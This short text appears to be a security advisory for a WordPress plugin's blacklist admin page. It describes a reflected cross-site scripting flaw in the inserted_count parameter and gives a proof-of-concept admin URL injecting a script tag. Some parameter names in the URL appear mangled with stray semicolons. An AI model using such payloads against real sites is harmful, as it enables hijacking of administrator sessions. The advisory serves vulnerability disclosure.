Description The plugin does not sanitise and escape the inserted_count parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open the URL below https://example.com/wp-admin/admin.php?page=bsk-cf7-blacklist&listview;=blacklist&view;=edit&id;=1&list;_save=succ&item;_action=inserted_count&inserted;_count=1+<script>alert(1)%3B<%2Fscript>